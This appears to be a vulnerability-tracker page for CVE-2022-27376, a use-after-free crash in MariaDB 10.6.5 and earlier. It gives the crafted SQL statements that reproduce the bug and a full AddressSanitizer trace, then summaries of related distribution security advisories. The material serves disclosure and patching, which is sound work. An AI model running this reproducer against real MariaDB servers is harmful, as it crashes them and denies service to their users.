Headline
CVE-2022-27376: [MDEV-26354] MariaDB server crash in Field::set_default - ASAN use after free in Item_args::walk_arg
MariaDB Server v10.6.5 and below was discovered to contain an use-after-free in the component Item_args::walk_arg, which is exploited via specially crafted SQL statements.
step to reproduce:
CREATE TEMPORARY TABLE v0 ( v2 LONG VARBINARY DEFAULT ( USER ( ) REGEXP ‘x’ IS NULL IS NULL IS UNKNOWN ) NOT NULL , REPAIR BINARY , LIST TIMESTAMP , v1 INT ) ;
INSERT IGNORE INTO v0 VALUES ( v1 , ‘x’ , ( CONVERT ( v2 * ( 47347653.000000 - v1 ) * FALSE * 83516185.000000 , DATETIME ) SOUNDS LIKE ‘x’ ) , ‘x’ ) ;
ALTER TABLE v0 CONVERT TO CHARSET BINARY ;
INSERT HIGH_PRIORITY INTO v0 SELECT * FROM v0 USE INDEX FOR JOIN ( ) GROUP BY v1 , CONVERT ( v1 IS FALSE , BINARY ( 6934439.000000 ) ) IS NULL HAVING DEFAULT ( v2 ) NOT REGEXP ‘x’ IS NULL IS FALSE ;
INSERT INTO v0 SELECT SQL_CALC_FOUND_ROWS * FROM v0 WHERE v2 SOUNDS LIKE CURRENT_USER IS TRUE ORDER BY UTC_DATE LIKE FALSE ESCAPE ‘x’ IS NULL IS TRUE DESC ;
asan report:
Version: ‘10.6.5-MariaDB’ socket: ‘/tmp/mysql_mar.sock’ port: 3309 Source distribution
=================================================================
==1434754==ERROR: AddressSanitizer: use-after-poison on address 0x62b00007aec8 at pc 0x55bf6a845200 bp 0x7fd6c0eb93c0 sp 0x7fd6c0eb93b0
READ of size 8 at 0x62b00007aec8 thread T23
#0 0x55bf6a8451ff in Item_args::walk_args(bool (Item::)(void), bool, void*) MariaDB/server/sql/item.h:2742
#1 0x55bf6a8451ff in Item_func_or_sum::walk(bool (Item::)(void), bool, void*) MariaDB/server/sql/item.h:5434
#2 0x55bf6a8450e1 in Item_args::walk_args(bool (Item::)(void), bool, void*) MariaDB/server/sql/item.h:2742
#3 0x55bf6a8450e1 in Item_func_or_sum::walk(bool (Item::)(void), bool, void*) MariaDB/server/sql/item.h:5434
#4 0x55bf6a8450e1 in Item_args::walk_args(bool (Item::)(void), bool, void*) MariaDB/server/sql/item.h:2742
#5 0x55bf6a8450e1 in Item_func_or_sum::walk(bool (Item::)(void), bool, void*) MariaDB/server/sql/item.h:5434
#6 0x55bf6a8450e1 in Item_args::walk_args(bool (Item::)(void), bool, void*) MariaDB/server/sql/item.h:2742
#7 0x55bf6a8450e1 in Item_func_or_sum::walk(bool (Item::)(void), bool, void*) MariaDB/server/sql/item.h:5434
#8 0x55bf6ad6beb9 in fix_session_vcol_expr(THD*, Virtual_column_info*) MariaDB/server/sql/table.cc:3614
#9 0x55bf6ad6beb9 in fix_session_vcol_expr(THD*, Virtual_column_info*) MariaDB/server/sql/table.cc:3608
#10 0x55bf6a7c973e in TABLE::fix_vcol_exprs(THD*) MariaDB/server/sql/sql_base.cc:5434
#11 0x55bf6a7c973e in TABLE::fix_vcol_exprs(THD*) MariaDB/server/sql/sql_base.cc:5426
#12 0x55bf6a7ca468 in fix_all_session_vcol_exprs MariaDB/server/sql/sql_base.cc:5465
#13 0x55bf6a7ca468 in lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned int) MariaDB/server/sql/sql_base.cc:5649
#14 0x55bf6a7d0ba2 in open_and_lock_tables(THD*, DDL_options_st const&, TABLE_LIST*, bool, unsigned int, Prelocking_strategy*) MariaDB/server/sql/sql_base.cc:5261
#15 0x55bf6a9baf70 in open_and_lock_tables(THD*, TABLE_LIST*, bool, unsigned int) MariaDB/server/sql/sql_base.h:509
#16 0x55bf6a9a8388 in mysql_execute_command(THD*, bool) MariaDB/server/sql/sql_parse.cc:4649
#17 0x55bf6a966684 in mysql_parse(THD*, char*, unsigned int, Parser_state*) MariaDB/server/sql/sql_parse.cc:8030
#18 0x55bf6a99c0b3 in dispatch_command(enum_server_command, THD*, char*, unsigned int, bool) MariaDB/server/sql/sql_parse.cc:1896
#19 0x55bf6a9a1513 in do_command(THD*, bool) MariaDB/server/sql/sql_parse.cc:1404
#20 0x55bf6ae636fc in do_handle_one_connection(CONNECT*, bool) MariaDB/server/sql/sql_connect.cc:1418
#21 0x55bf6ae64e56 in handle_one_connection MariaDB/server/sql/sql_connect.cc:1312
#22 0x55bf6bcb0d2f in pfs_spawn_thread MariaDB/server/storage/perfschema/pfs.cc:2201
#23 0x7fd6e0503608 in start_thread /build/glibc-ZN95T4/glibc-2.31/nptl/pthread_create.c:477
#24 0x7fd6e00d7292 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x122292)
0x62b00007aec8 is located 15560 bytes inside of 24624-byte region [0x62b000077200,0x62b00007d230)
allocated by thread T23 here:
#0 0x7fd6e0a8ebc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x55bf6c83cc1c in my_malloc MariaDB/server/mysys/my_malloc.c:90
#2 0x55bf6c8238c8 in reset_root_defaults MariaDB/server/mysys/my_alloc.c:148
#3 0x55bf6a813773 in THD::init_for_queries() MariaDB/server/sql/sql_class.cc:1406
#4 0x55bf6ae611ea in prepare_new_connection_state(THD*) MariaDB/server/sql/sql_connect.cc:1240
#5 0x55bf6ae61efa in thd_prepare_connection(THD*) MariaDB/server/sql/sql_connect.cc:1333
#6 0x55bf6ae61efa in thd_prepare_connection(THD*) MariaDB/server/sql/sql_connect.cc:1322
#7 0x55bf6ae63663 in do_handle_one_connection(CONNECT*, bool) MariaDB/server/sql/sql_connect.cc:1408
#8 0x55bf6ae64e56 in handle_one_connection MariaDB/server/sql/sql_connect.cc:1312
#9 0x55bf6bcb0d2f in pfs_spawn_thread MariaDB/server/storage/perfschema/pfs.cc:2201
#10 0x7fd6e0503608 in start_thread /build/glibc-ZN95T4/glibc-2.31/nptl/pthread_create.c:477
Thread T23 created by T0 here:
#0 0x7fd6e09bb805 in pthread_create (/lib/x86_64-linux-gnu/libasan.so.5+0x3a805)
#1 0x55bf6bcb0fe2 in my_thread_create MariaDB/server/storage/perfschema/my_thread.h:48
#2 0x55bf6bcb0fe2 in pfs_spawn_thread_v1 MariaDB/server/storage/perfschema/pfs.cc:2252
#3 0x55bf6a635b48 in inline_mysql_thread_create MariaDB/server/include/mysql/psi/mysql_thread.h:1139
#4 0x55bf6a635b48 in create_thread_to_handle_connection(CONNECT*) MariaDB/server/sql/mysqld.cc:5922
#5 0x55bf6a645235 in handle_accepted_socket(st_mysql_socket, st_mysql_socket) MariaDB/server/sql/mysqld.cc:6043
#6 0x55bf6a64600e in handle_connections_sockets() MariaDB/server/sql/mysqld.cc:6167
#7 0x55bf6a64819b in mysqld_main(int, char**) MariaDB/server/sql/mysqld.cc:5817
#8 0x7fd6dffdc0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: use-after-poison MariaDB/server/sql/item.h:2742 in Item_args::walk_args(bool (Item::)(void), bool, void*)
Shadow bytes around the buggy address:
0x0c5680007580: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c5680007590: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c56800075a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c56800075b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c56800075c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
=>0x0c56800075d0: f7 f7 f7 f7 f7 f7 f7 f7 f7[f7]f7 f7 f7 f7 f7 f7
0x0c56800075e0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c56800075f0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c5680007600: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c5680007610: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
0x0c5680007620: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1434754==ABORTING
Related news
Gentoo Linux Security Advisory 202405-25 - Multiple vulnerabilities have been discovered in MariaDB, the worst fo which can lead to arbitrary execution of code. Versions greater than or equal to 10.11.3:10.11 are affected.
Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.
Red Hat Security Advisory 2022-6443-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for the mariadb:10.3 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
Red Hat Security Advisory 2022-6306-01 - MariaDB is a multi-user, multi-threaded SQL database server. For all practical purposes, MariaDB is binary-compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.
An update for rh-mariadb103-galera and rh-mariadb103-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
An update for galera, mariadb, and mysql-selinux is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via cert...
An update for the mariadb:10.5 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...
An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...
MariaDB CONNECT Storage Engine Heap-based Buffer Overflow Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MariaDB. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of SQL queries. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-16190.